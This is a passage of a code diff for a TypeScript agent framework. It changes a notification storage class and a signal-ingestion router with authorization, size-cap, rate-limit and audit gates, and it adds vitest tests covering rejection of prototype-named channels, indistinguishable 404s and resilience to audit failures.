+      for (const cursor of ['deliverAt', 'summaryAt'] as const) {
+        allowed.add(cursor);
+        const original = expected[cursor];
+        const retry = failure[cursor];
+        if (
+          original !== null &&
+          notificationDeliveryDate(original, true) <= attemptedAt
+        ) {
+          if (notificationDeliveryDate(retry, true) <= attemptedAt) {
+            throw new RangeError('Notification retry cursor must advance');
+          }
+          updates[cursor] = retry;
+        } else if (retry !== undefined) {
+          throw new RangeError('Notification retry cursor was not due');
+        }
+      }
+    }
+  }
+  if (Reflect.ownKeys(failure).some((key) => !allowed.has(key))) {
+    throw new TypeError('Notification delivery failure has unexpected fields');
+  }
+  if (failure.type !== 'retry') {
+    updates.status = 'discarded';
+    updates.deliveryReason = 'delivery-attempts-exhausted';
+    updates.discardedAt = failure.updatedAt;
+    updates.deliverAt = null;
+    updates.summaryAt = null;
+  }
+  return updates;
+}
+
 function validLimit(limit: number | undefined): limit is number {
   return limit !== undefined && Number.isSafeInteger(limit) && limit >= 0;
 }
@@ -145,7 +333,10 @@ function isDuplicateColumn(error: unknown): boolean {
  */
 export const NOTIFICATION_SEQUENCE_TABLE = 'flowsafe_notification_sequence';
 
-export class D1NotificationsStorage extends NotificationsStorage {
+export class D1NotificationsStorage
+  extends NotificationsStorage
+  implements NotificationDeliveryStorage
+{
   readonly #db: SignalDatabase;
   readonly #table: string;
   readonly #sequenceTable: string;
@@ -493,7 +684,7 @@ export class D1NotificationsStorage extends NotificationsStorage {
     const { results } = await this.#db
       .prepare(
         `SELECT * FROM ${this.#table} WHERE ${clauses.join(' AND ')}
-         ORDER BY updatedAt DESC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`,
+         ORDER BY ${notificationTimestampSql('updatedAt')} DESC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`,
       )
       .bind(...binds)
       .all<NotificationRow>();
@@ -525,8 +716,8 @@ export class D1NotificationsStorage extends NotificationsStorage {
   async listDueNotifications(
     input: ListDueNotificationsInput,
   ): Promise<NotificationRecord[]> {
+    const now = notificationTimestampMillis(input.now);
     await this.#ensureSchema();
-    const now = input.now.toISOString();
     const clauses = [DUE_NOTIFICATION_SQL];
     const binds: unknown[] = [now, now];
     if (input.agentId !== undefined) {
@@ -541,16 +732,22 @@ export class D1NotificationsStorage extends NotificationsStorage {
     if (sqlLimit !== undefined) binds.push(sqlLimit);
     const { results } = await this.#db
       .prepare(
-        `SELECT * FROM ${this.#table}
-         WHERE ${clauses.join(' AND ')}
+        `SELECT * FROM (
+           SELECT *,
+             ${notificationTimestampSql('deliverAt')} AS deliveryTime,
+             ${notificationTimestampSql('summaryAt')} AS summaryTime,
+             ${notificationTimestampSql('updatedAt')} AS updatedTime
+           FROM ${this.#table}
+           WHERE ${clauses.join(' AND ')}
+         )
          ORDER BY
            CASE
-             WHEN deliverAt IS NULL THEN summaryAt
-             WHEN summaryAt IS NULL THEN deliverAt
-             WHEN deliverAt <= summaryAt THEN deliverAt
-             ELSE summaryAt
+             WHEN deliveryTime IS NULL THEN summaryTime
+             WHEN summaryTime IS NULL THEN deliveryTime
+             WHEN deliveryTime <= summaryTime THEN deliveryTime
+             ELSE summaryTime
            END ASC,
-           updatedAt ASC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`,
+           updatedTime ASC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`,
       )
       .bind(...binds)
       .all<NotificationRow>();
@@ -654,6 +851,68 @@ export class D1NotificationsStorage extends NotificationsStorage {
     return rowToRecord(updated);
   }
 
+  async updateNotificationDeliveryIfUnchanged(input: {
+    expected: NotificationDeliveryObservation;
+    failure: NotificationDeliveryFailure;
+  }): Promise<NotificationDeliveryUpdateResult> {
+    const expected = { ...input.expected };
+    const failure = { ...input.failure };
+    const expectedValues = NOTIFICATION_COLUMNS.map(
+      (column) => expected[column === 'thread_id' ? 'threadId' : column],
+    );
+    validateNotificationDeliveryValues(expectedValues, true);
+    if (expected.status !== 'pending' || expected.deliveredSignalId) {
+      return { applied: false };
+    }
+    const updates = notificationFailureUpdates(expected, failure);
+    const targetValues = NOTIFICATION_COLUMNS.map((column, index) =>
+      Object.hasOwn(updates, column) ? updates[column] : expectedValues[index],
+    );
+    const entries = Object.entries(updates);
+    const sets = entries.map(([column]) => `${column} = ?`);
+    const setValues = entries.map(([, value]) => value);
+
+    await this.#ensureSchema();
+    const row = await this.#db
+      .prepare(
+        `SELECT * FROM ${this.#table}
+         WHERE thread_id COLLATE BINARY IS ? AND id COLLATE BINARY IS ?`,
+      )
+      .bind(expected.threadId, expected.id)
+      .first<NotificationRow>();
+    if (row === null) return { applied: false };
+    const rawValues = notificationDeliveryRowValues(row);
+    const currentValues = recordValues(rowToRecord(row));
+    if (currentValues.some((value, index) => value !== expectedValues[index])) {
+      return { applied: false };
+    }
+    const guards = NOTIFICATION_COLUMNS.map(
+      (column) => `${column} COLLATE BINARY IS ?`,
+    );
+    const updated = await this.#db
+      .prepare(
+        `UPDATE ${this.#table}
+         SET ${sets.join(', ')}
+         WHERE status COLLATE BINARY IS 'pending'
+           AND (deliveredSignalId IS NULL OR deliveredSignalId = '')
+           AND ${guards.join(' AND ')}
+         RETURNING *`,
+      )
+      .bind(...setValues, ...rawValues)
+      .first<NotificationRow>();
+    if (updated === null) return { applied: false };
+    notificationDeliveryRowValues(updated);
+    const record = rowToRecord(updated);
+    if (
+      recordValues(record).some((value, index) => value !== targetValues[index])
+    ) {
+      throw new Error(
+        'Notification delivery update returned a different receipt',
+      );
+    }
+    return { applied: true, record };
+  }
+
   async dangerouslyClearAll(): Promise<void> {
     await this.#ensureSchema();
     await this.#db.prepare(`DELETE FROM ${this.#table}`).run();
diff --git a/packages/flowsafe/src/signals/router.test.ts b/packages/flowsafe/src/signals/router.test.ts
index 40066f29..560d4dbd 100644
--- a/packages/flowsafe/src/signals/router.test.ts
+++ b/packages/flowsafe/src/signals/router.test.ts
@@ -1,16 +1,18 @@
 // SPDX-License-Identifier: Apache-2.0
-// The P6 ingestion trust boundary (createSignalRouter): the gate ORDER (401 →
-// ownership → role → memory-id → allowlist/size/rate → audit → forward), each
-// fail-closed, over mock resolve + topology seams.
 
 import { describe, expect, it, vi } from 'vitest';
 
-import type { ActorContext, ApprovalActor } from '../approval-api/index.js';
-import type { ThreadTopology } from '../host-kit/index.js';
+import {
+  type ActorContext,
+  ActorResolutionError,
+  type ApprovalActor,
+} from '../approval-api/index.js';
+import { RunRouteError, type ThreadTopology } from '../host-kit/index.js';
 import {
   createInMemorySignalRateLimiter,
   createSignalRouter,
   type SignalIngestAuditEvent,
+  type SignalRouterOptions,
 } from './router.js';
 
 const OWNED_THREAD = 'acme_t1';
@@ -70,6 +72,14 @@ function post(path: string, body: unknown): Request {
   });
 }
 
+function deferred<T>() {
+  let resolve!: (value: T) => void;
+  const promise = new Promise<T>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
 describe('createSignalRouter — the P6 ingestion gate', () => {
   it.each([
     -1,
@@ -414,6 +424,523 @@ describe('createSignalRouter — the P6 ingestion gate', () => {
     expect(res?.status).toBe(405);
   });
 
+  it.each([
+    'constructor',
+    'toString',
+    '__proto__',
+    'hasOwnProperty',
+  ])('does not resolve an inherited channel: %s', async (channel) => {
+    const { topology, calls } = recordingTopology();
+    const resolve = vi.fn(async () => actorContext('operator'));
+    const audit = vi.fn();
+    const router = createSignalRouter({ resolve, topology, audit });
+
+    expect(
+      await router(post(`/api/threads/${OWNED_THREAD}/${channel}`, {})),
+    ).toBeNull();
+    expect(resolve).not.toHaveBeenCalled();
+    expect(audit).not.toHaveBeenCalled();
+    expect(calls).toEqual([]);
+  });
+
+  it.each([
+    ['signal', '/signal'],
+    ['message', '/signal/message'],
+    ['queue', '/signal/queue'],
+    ['state', '/signal/state'],
+    ['notification', '/signal/notification'],
+  ])('forwards the own channel %s to %s', async (channel, path) => {
+    const { topology, calls } = recordingTopology();
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+    });
+    expect(
+      (await router(post(`/api/threads/${OWNED_THREAD}/${channel}`, {})))
+        ?.status,
+    ).toBe(200);
+    expect(calls).toEqual([{ threadId: OWNED_THREAD, path, body: '{}' }]);
+  });
+
+  it.each([
+    'admin',
+    'viewer',
+  ] as const)('makes strict foreign and missing threads indistinguishable for %s before body or rate work', async (role) => {
+    const context = actorContext(role);
+    context.canAccessResource = vi.fn(async (_kind, id) => id !== 'missing');
+    const validateThreadTarget = vi.fn(async () => {
+      throw new RunRouteError(404, 'private binding ownership detail');
+    });
+    const { topology, calls } = recordingTopology();
+    const rateLimit = vi.fn(() => true);
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => context,
+      topology,
+      validateThreadTarget,
+      rateLimit,
+      audit,
+    });
+    const responses = [];
+    for (const threadId of ['foreign', 'missing']) {
+      const request = post(`/api/threads/${threadId}/message`, '{');
+      const response = await router(request);
+      expect(request.bodyUsed).toBe(false);
+      responses.push({
+        status: response?.status,
+        headers: [...(response?.headers ?? [])],
+        body: await response?.text(),
+      });
+    }
+    expect(responses[0]).toEqual(responses[1]);
+    expect(responses[0]).toEqual({
+      status: 404,
+      headers: [
+        ['cache-control', 'no-store'],
+        ['content-type', 'application/json'],
+      ],
+      body: '{"error":"thread not found"}',
+    });
+    expect(validateThreadTarget).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({ actor: { id: 'opal', role } }),
+      { threadId: 'foreign' },
+    );
+    expect(rateLimit).not.toHaveBeenCalled();
+    expect(calls).toEqual([]);
+    expect(audit.mock.calls.map(([event]) => event)).toEqual(
+      ['foreign', 'missing'].map((threadId) =>
+        expect.objectContaining({
+          threadId,
+          outcome: 'rejected',
+          reason: 'invalid-thread',
+          contentBytes: 0,
+        }),
+      ),
+    );
+  });
+
+  it('preserves an admin-permissive registry policy when the validator is omitted', async () => {
+    const context = actorContext('admin');
+    context.canAccessResource = async () => true;
+    const { topology, calls } = recordingTopology();
+    const router = createSignalRouter({
+      resolve: async () => context,
+      topology,
+    });
+
+    const response = await router(post('/api/threads/foreign/message', {}));
+
+    expect(response?.status).toBe(200);
+    expect(calls).toEqual([
+      { threadId: 'foreign', path: '/signal/message', body: '{}' },
+    ]);
+  });
+
+  it('captures validator and audit callbacks while preserving their options receiver', async () => {
+    const { topology } = recordingTopology();
+    const validateThreadTarget = vi.fn(async function (
+      this: SignalRouterOptions,
+    ) {
+      expect(this).toBe(options);
+    });
+    let auditReceiver: SignalRouterOptions | undefined;
+    const audit = vi.fn(function (this: SignalRouterOptions) {
+      auditReceiver = this;
+    });
+    const options: SignalRouterOptions = {
+      resolve: async () => actorContext('operator'),
+      topology,
+      validateThreadTarget,
+      audit,
+    };
+    const router = createSignalRouter(options);
+    const replacementValidator = vi.fn();
+    const replacementAudit = vi.fn();
+    options.validateThreadTarget = replacementValidator;
+    options.audit = replacementAudit;
+
+    expect(
+      (await router(post(`/api/threads/${OWNED_THREAD}/message`, {})))?.status,
+    ).toBe(200);
+    expect(validateThreadTarget).toHaveBeenCalledOnce();
+    expect(audit).toHaveBeenCalledOnce();
+    expect(auditReceiver).toBe(options);
+    expect(replacementValidator).not.toHaveBeenCalled();
+    expect(replacementAudit).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'ownership',
+    'validator',
+  ] as const)('captures actor, principal, deployment and mutation epoch before the %s await', async (boundary) => {
+    const entered = deferred<void>();
+    const held = deferred<void>();
+    const actor = { id: 'opal', role: 'operator' as ApprovalActor['role'] };
+    const principal = { kind: 'human' as const, ...actor };
+    const context = {
+      ...actorContext('operator'),
+      actor,
+      principal,
+      mutationEpoch: 7,
+      deploymentTag: 'acme',
+      async canAccessResource() {
+        expect(this).toBe(context);
+        if (boundary === 'ownership') {
+          entered.resolve();
+          await held.promise;
+        }
+        return true;
+      },
+      newThreadId() {
+        expect(this).toBe(context);
+        return OWNED_THREAD;
+      },
+    };
+    const validateThreadTarget = vi.fn(async (captured: ActorContext) => {
+      if (boundary === 'validator') {
+        entered.resolve();
+        await held.promise;
+      }
+      expect(captured).not.toBe(context);
+      expect(captured.actor).toEqual({ id: 'opal', role: 'operator' });
+      expect(captured.principal).toEqual({
+        kind: 'human',
+        id: 'opal',
+        role: 'operator',
+      });
+      expect(captured.mutationEpoch).toBe(7);
+      expect(captured.newThreadId()).toBe(OWNED_THREAD);
+    });
+    const { topology } = recordingTopology();
+    const send = vi.spyOn(topology, 'send');
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => context,
+      topology,
+      validateThreadTarget,
+      audit,
+    });
+    const request = post(`/api/threads/${OWNED_THREAD}/message`, {});
+    const result = router(request);
+    await entered.promise;
+    expect(request.bodyUsed).toBe(false);
+    expect(send).not.toHaveBeenCalled();
+    expect(audit).not.toHaveBeenCalled();
+    actor.id = 'mallory';
+    actor.role = 'viewer';
+    principal.id = 'mallory';
+    principal.role = 'admin';
+    context.mutationEpoch = 8;
+    context.deploymentTag = 'other-deployment';
+    context.newThreadId = () => 'other-thread';
+    held.resolve();
+
+    expect((await result)?.status).toBe(200);
+    expect(send).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({
+        actor: { id: 'opal', role: 'operator' },
+        principal: { kind: 'human', id: 'opal', role: 'operator' },
+        mutationEpoch: 7,
+        deploymentTag: 'acme',
+      }),
+      OWNED_THREAD,
+      '/signal/message',
+      expect.any(Object),
+    );
+    expect(audit).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({
+        actorId: 'opal',
+        deploymentTag: 'acme',
+        outcome: 'accepted',
+      }),
+    );
+  });
+
+  it('waits for the downstream decision before auditing acceptance', async () => {
+    const decision = deferred<Response>();
+    const entered = deferred<void>();
+    const { topology } = recordingTopology();
+    vi.spyOn(topology, 'send').mockImplementation(async () => {
+      entered.resolve();
+      return decision.promise;
+    });
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+      audit,
+    });
+    const pending = router(post(`/api/threads/${OWNED_THREAD}/message`, {}));
+    await entered.promise;
+    expect(audit).not.toHaveBeenCalled();
+    const response = new Response('delivered', {
+      status: 202,
+      headers: { 'x-delivery': 'accepted' },
+    });
+    decision.resolve(response);
+    expect(await pending).toBe(response);
+    expect(audit).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({ outcome: 'accepted', contentBytes: 2 }),
+    );
+  });
+
+  it('retains a completed delivery while its pending audit rejects', async () => {
+    const entered = deferred<void>();
+    const held = deferred<void>();
+    const { topology } = recordingTopology();
+    const response = new Response('delivered', { status: 202 });
+    const send = vi.spyOn(topology, 'send').mockResolvedValue(response);
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger unavailable');
+    });
+    const audit = vi.fn(async () => {
+      entered.resolve();
+      await held.promise;
+      throw new ActorResolutionError('audit refused');
+    });
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+      audit,
+    });
+    try {
+      const pending = router(post(`/api/threads/${OWNED_THREAD}/message`, {}));
+      await entered.promise;
+      expect(send).toHaveBeenCalledOnce();
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({ outcome: 'accepted' }),
+      );
+      held.resolve();
+      expect(await pending).toBe(response);
+      expect(audit).toHaveBeenCalledOnce();
+      expect(send).toHaveBeenCalledOnce();
+    } finally {
+      held.resolve();
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    403, 404, 422, 503,
+  ])('audits one downstream %s rejection and preserves its public response', async (status) => {
+    const { topology } = recordingTopology();
+    const response = new Response('private downstream refusal', {
+      status,
+      headers: {
+        'content-type': 'text/plain',
+        'retry-after': '5',
+        'x-owner': 'foreign-owner',
+      },
+    });
+    vi.spyOn(topology, 'send').mockResolvedValue(response);
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+      audit,
+    });
+    const result = await router(
+      post(`/api/threads/${OWNED_THREAD}/message`, {}),
+    );
+    expect(result?.status).toBe(status);
+    expect(audit).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({
+        outcome: 'rejected',
+        reason: status === 404 ? 'invalid-thread' : `downstream-${status}`,
+      }),
+    );
+    expect(response.bodyUsed).toBe(false);
+    if (status === 404) {
+      expect(await result?.text()).toBe('{"error":"thread not found"}');
+      expect([...(result?.headers ?? [])]).toEqual([
+        ['cache-control', 'no-store'],
+        ['content-type', 'application/json'],
+      ]);
+    } else {
+      expect(result).toBe(response);
+      expect(await result?.text()).toBe('private downstream refusal');
+    }
+  });
+
+  it.each([
+    [
+      new RunRouteError(404, 'private missing binding'),
+      404,
+      'invalid-thread',
+      'thread not found',
+    ],
+    [
+      new RunRouteError(503, 'temporarily unavailable'),
+      503,
+      'route-error-503',
+      'temporarily unavailable',
+    ],
+    [
+      new ActorResolutionError('private principal detail'),
+      403,
+      'forbidden',
+      'forbidden',
+    ],
+    [
+      new Error('private backend detail'),
+      500,
+      'internal-error',
+      'internal error',
+    ],
+  ] as const)('audits one final outcome when forwarding throws %s', async (error, status, reason, message) => {
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    const { topology } = recordingTopology();
+    vi.spyOn(topology, 'send').mockRejectedValue(error);
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+      audit,
+    });
+    try {
+      const response = await router(
+        post(`/api/threads/${OWNED_THREAD}/message`, {}),
+      );
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).toEqual({ error: message });
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({ outcome: 'rejected', reason }),
+      );
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    new ActorResolutionError('invalid claims'),
+    new Error('authentication backend unavailable'),
+  ])('does not audit a resolver exception: %s', async (error) => {
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    const { topology, calls } = recordingTopology();
+    const audit = vi.fn();
+    const router = createSignalRouter({
+      resolve: async () => {
+        throw error;
+      },
+      topology,
+      audit,
+    });
+    try {
+      const response = await router(
+        post(`/api/threads/${OWNED_THREAD}/message`, {}),
+      );
+      expect(response?.status).toBe(
+        error instanceof ActorResolutionError ? 403 : 500,
+      );
+      expect(audit).not.toHaveBeenCalled();
+      expect(calls).toEqual([]);
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    ['accepted', '{}', 'operator', 200, undefined],
+    ['role rejection', '{}', 'viewer', 403, 'forbidden-role'],
+    ['parse refusal', '{', 'operator', 400, 'malformed-body'],
+    ['non-object refusal', 'null', 'operator', 400, 'malformed-body'],
+    [
+      'memory-id refusal',
+      '{"threadId":"foreign"}',
+      'operator',
+      400,
+      'client-memory-id',
+    ],
+  ] as const)('preserves %s when the audit sink throws a typed error', async (_label, body, role, status, reason) => {
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger unavailable');
+    });
+    const { topology, calls } = recordingTopology();
+    const audit = vi.fn(() => {
+      throw new RunRouteError(503, 'sink unavailable');
+    });
+    const router = createSignalRouter({
+      resolve: async () => actorContext(role),
+      topology,
+      audit,
+    });
+    try {
+      const response = await router(
+        post(`/api/threads/${OWNED_THREAD}/message`, body),
+      );
+      expect(response?.status).toBe(status);
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          outcome: status === 200 ? 'accepted' : 'rejected',
+          ...(reason === undefined ? {} : { reason }),
+        }),
+      );
+      expect(calls).toHaveLength(status === 200 ? 1 : 0);
+      if (status === 403)
+        expect(await response?.json()).toEqual({ error: 'forbidden' });
+      if (reason === 'malformed-body')
+        expect(await response?.json()).toEqual({
+          error: 'a JSON object body is required',
+        });
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    'actor-error',
+    'message-getter',
+    'toString',
+  ] as const)('contains an audit %s failure without changing the downstream response', async (failure) => {
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    const error =
+      failure === 'actor-error'
+        ? new ActorResolutionError('sink refused')
+        : failure === 'message-getter'
+          ? Object.defineProperty(new Error(), 'message', {
+              get() {
+                throw new Error('unreadable message');
+              },
+            })
+          : {
+              toString() {
+                throw new Error('unreadable value');
+              },
+            };
+    const { topology } = recordingTopology();
+    const response = new Response('unavailable', {
+      status: 503,
+      headers: { 'retry-after': '9' },
+    });
+    vi.spyOn(topology, 'send').mockResolvedValue(response);
+    const audit = vi.fn(async () => {
+      throw error;
+    });
+    const router = createSignalRouter({
+      resolve: async () => actorContext('operator'),
+      topology,
+      audit,
+    });
+    try {
+      expect(
+        await router(post(`/api/threads/${OWNED_THREAD}/message`, {})),
+      ).toBe(response);
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          outcome: 'rejected',
+          reason: 'downstream-503',
+        }),
+      );
+      expect(log).toHaveBeenCalledOnce();
+      expect(JSON.parse(log.mock.calls[0]?.[0])).toMatchObject({
+        type: 'signal.ingest-audit-error',
+        reason: failure === 'actor-error' ? 'sink refused' : 'unreadable error',
+      });
+    } finally {
+      log.mockRestore();
+    }
+  });
+
   it('returns a generic 500 while retaining internal detail in structured logs', async () => {
     const logged: string[] = [];
     const log = vi.spyOn(console, 'error').mockImplementation((value) => {
diff --git a/packages/flowsafe/src/signals/router.ts b/packages/flowsafe/src/signals/router.ts
index e1692152..7ead4545 100644
--- a/packages/flowsafe/src/signals/router.ts
+++ b/packages/flowsafe/src/signals/router.ts
@@ -1,48 +1,6 @@
 // SPDX-License-Identifier: Apache-2.0
-// Track C (M-004), CI-M-004-004 — the P6 ingestion trust boundary (DL-006).
-//
-// Signals/notifications/messages inject XML-wrapped content INTO the model's
-// context (core's signalToXmlMarkup), so every ingest is an UNTRUSTED input
-// channel into the agent. This Worker-side router uses the same resource-first
-// authorization rule as addressed run routes:
-//
-//   1. resolve (authenticate and bind actor context) -> 401 / 403
-//   2. registry-backed thread ownership (requireResourceAccess) -> 404 (no existence oracle)
-//   3. coarse role (RUN_START_ROLES by default)   -> 403   (reviewer/viewer read-only)
-//   4. size cap on the raw body, THEN JSON parse   -> 413 / 400
-//   5. body names NO client memory id (assertNoClientMemoryIds) -> 400
-//   6. attribute-key allowlist                     -> 400
-//   7. deployment rate cap                          -> 429
-//   8. audit (signal.ingest) + forward via the topology
-//
-// Every ingest is AUDITED (signal.ingest), accepted OR rejected — and a rejection
-// is audited at the step that refuses it, INCLUDING the three POST-auth denials
-// that read like an attack on this untrusted channel: the role 403, the
-// malformed thread 404 and the
-// memory-id 400 (a smuggled TCB-only id). Pre-auth failures (401, or a resolver
-// throw → 403) are NOT audited: the caller is unauthenticated, so auditing there
-// would let an anonymous flood write the log.
-//
-// The threadId travels in the PATH (the client references its OWN thread, like a
-// runId on the status/resume routes) and is 404'd if foreign BEFORE any DO is
-// addressed — no wake, no oracle. The BODY may never name threadId/resourceId
-// (assertNoClientMemoryIds): a client that picks its own memory id picks whose
-// memory it reads. The forward goes through createThreadTopology, which
-// overwrites the trusted principal header from the resolved context.
-//
-// XML-injection neutralization is CORE's: signalToXmlMarkup entity-escapes the
-// contents and attribute VALUES and re-validates tag/attribute NAMES — a single
-// layer, and core is a SOFT pin, so a regression there is caught by the C-S5
-// render test (thread-do-routes.test.ts), which fails flowsafe CI if core stops
-// escaping. The ROUTE adds its own line but does NOT re-escape the contents: the
-// thread routes validate `tagName` as an XML name at ingest, and this gate
-// allowlists attribute KEYS and size-caps the payload. Optional content policy
-// runs later at the common thread-DO boundary over core's canonical escaped XML,
-// where provider, schedule, notification, and direct delivery all converge.
-//
-// sendToolApproval is deliberately NOT an ingress here (P8): the dashboard stays
-// the sole approval decision path; this router never mints capability.
 
+import { captureActorContext } from '../approval-api/actor-context.js';
 import {
   type ActorContext,
   ActorResolutionError,
@@ -50,8 +8,10 @@ import {
   type ApprovalRole,
   RUN_START_ROLES,
 } from '../approval-api/index.js';
+import { hostErrorText } from '../host-kit/host-approval-service.js';
 import {
   assertNoClientMemoryIds,
+  type BoundThreadTargetValidator,
   RunRouteError,
   requireResourceAccess,
   type ThreadTopology,
@@ -72,7 +32,7 @@ const CHANNEL_PATHS = {
 
 export type SignalChannel = keyof typeof CHANNEL_PATHS;
 
-/** The structured audit event every ingest emits (accepted OR rejected). */
+/** A structured signal ingestion outcome. */
 export interface SignalIngestAuditEvent {
   type: 'signal.ingest';
   deploymentTag?: string;
@@ -103,9 +63,11 @@ export interface SignalRouterOptions {
   resolve: ActorResolver;
   /** The sanctioned reach into a thread DO — stamps the principal header. */
   topology: ThreadTopology;
-  /** Who may signal. Default RUN_START_ROLES (operator/admin) — reviewers/viewers are read-only. */
+  /** Require a bound thread before ingestion. Omission uses registry access policy. */
+  validateThreadTarget?: BoundThreadTargetValidator;
+  /** Who may signal. Default RUN_START_ROLES. */
   roles?: readonly ApprovalRole[];
-  /** Every ingest is audited through this (accepted + rejected). Absent ⇒ no audit (wire one). */
+  /** Receives authenticated ingestion outcomes; sink failures do not change responses. */
   audit?: SignalAuditSink;
   /** Deployment rate cap. Absent means unmetered. */
   rateLimit?: SignalRateLimiter;
@@ -137,7 +99,7 @@ function json(payload: unknown, status = 200): Response {
 }
 
 export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
-  const { resolve, topology } = options;
+  const { resolve, topology, validateThreadTarget, audit: auditSink } = options;
   const roles = options.roles ?? RUN_START_ROLES;
   const maxContentBytes = nonnegativeSafeInteger(
     options.maxContentBytes ?? 16_384,
@@ -165,48 +127,56 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
     const threadId = safeDecodeSegment(segments[baseSegments.length]);
     if (threadId === undefined) return null;
     const channelSeg = segments[baseSegments.length + 1] ?? '';
-    if (!(channelSeg in CHANNEL_PATHS)) return null;
+    if (!Object.hasOwn(CHANNEL_PATHS, channelSeg)) return null;
     const channel = channelSeg as SignalChannel;
     if (request.method !== 'POST') {
       return json({ error: 'method not allowed' }, 405);
     }
 
-    // Hoisted ABOVE the try so the outer catch can audit the POST-auth denials
-    // that surface as thrown RunRouteErrors (the target 404, the memory-id
-    // 400). `context` is undefined until resolve succeeds and the closure no-ops
-    // while it is, so a pre-auth throw is never audited. `contentBytes` is filled
-    // at the size-cap step (0 for pre-parse rejections).
     let context: ActorContext | undefined;
     let contentBytes = 0;
     const audit = async (
       outcome: 'accepted' | 'rejected',
       reason?: string,
     ): Promise<void> => {
-      if (!options.audit || !context) return;
-      await options.audit({
-        type: 'signal.ingest',
-        ...(context.deploymentTag !== undefined
-          ? { deploymentTag: context.deploymentTag }
-          : {}),
-        actorId: context.actor.id,
-        threadId,
-        channel,
-        outcome,
-        ...(reason !== undefined ? { reason } : {}),
-        contentBytes,
-        timestamp: new Date().toISOString(),
-      });
+      if (!auditSink || !context) return;
+      try {
+        await auditSink.call(options, {
+          type: 'signal.ingest',
+          ...(context.deploymentTag !== undefined
+            ? { deploymentTag: context.deploymentTag }
+            : {}),
+          actorId: context.actor.id,
+          threadId,
+          channel,
+          outcome,
+          ...(reason !== undefined ? { reason } : {}),
+          contentBytes,
+          timestamp: new Date().toISOString(),
+        });
+      } catch (error) {
+        try {
+          console.error(
+            JSON.stringify({
+              type: 'signal.ingest-audit-error',
+              threadId,
+              channel,
+              reason: hostErrorText(error, true),
+            }),
+            error,
+          );
+        } catch {
+          // Diagnostics cannot change the request's selected outcome.
+        }
+      }
     };
 
     try {
-      // 1. Resolve and authenticate. ActorResolutionError maps to 403 in the
-      // catch and is not audited (pre-auth).
-      context = await resolve(request);
-      if (!context) return json({ error: 'authentication required' }, 401);
+      const resolved = await resolve(request);
+      if (!resolved) return json({ error: 'authentication required' }, 401);
+      context = captureActorContext(resolved);
       const actor = context.actor;
 
-      // 2. Resolve ownership before the role gate. A foreign opaque id and a
-      // missing one are the same 404, including for a read-only role.
       await requireResourceAccess(
         context,
         'thread',
@@ -214,15 +184,13 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
         'write',
         'thread',
       );
+      await validateThreadTarget?.call(options, context, { threadId });
 
-      // 3. Coarse role: signalling mutates agent context.
       if (!roles.includes(actor.role)) {
         await audit('rejected', 'forbidden-role');
         return json({ error: 'forbidden' }, 403);
       }
 
-      // 4. Size cap at the wire: read the body as text, bound it, THEN parse. A
-      // 16 KiB signal is generous; an unbounded one is a context-stuffing vector.
       const rawBody = await readBoundedBody(
         request,
         maxContentBytes,
@@ -257,10 +225,8 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
         return json({ error: 'a JSON object body is required' }, 400);
       }
 
-      // 5. No client memory id ANYWHERE in the body (assertNoClientMemoryIds 400s).
       assertNoClientMemoryIds(body);
 
-      // 6. Attribute-key allowlist (defense-in-depth over core's name validation).
       if (allowlist && body.attributes !== undefined) {
         const attrs = body.attributes;
         if (
@@ -281,7 +247,6 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
         }
       }
 
-      // 7. Deployment rate cap.
       if (options.rateLimit) {
         const allowed = await options.rateLimit();
         if (!allowed) {
@@ -290,18 +255,29 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
         }
       }
 
-      // 8. Audit the accepted ingest, then forward through the topology (which
-      // overwrites the principal header — a forged one cannot ride along).
-      await audit('accepted');
-      return await topology.send(context, threadId, CHANNEL_PATHS[channel], {
-        method: 'POST',
-        headers: { 'content-type': 'application/json' },
-        body: rawBody.text === '' ? '{}' : rawBody.text,
-      });
+      const response = await topology.send(
+        context,
+        threadId,
+        CHANNEL_PATHS[channel],
+        {
+          method: 'POST',
+          headers: { 'content-type': 'application/json' },
+          body: rawBody.text === '' ? '{}' : rawBody.text,
+        },
+      );
+      await audit(
+        response.ok ? 'accepted' : 'rejected',
+        response.ok
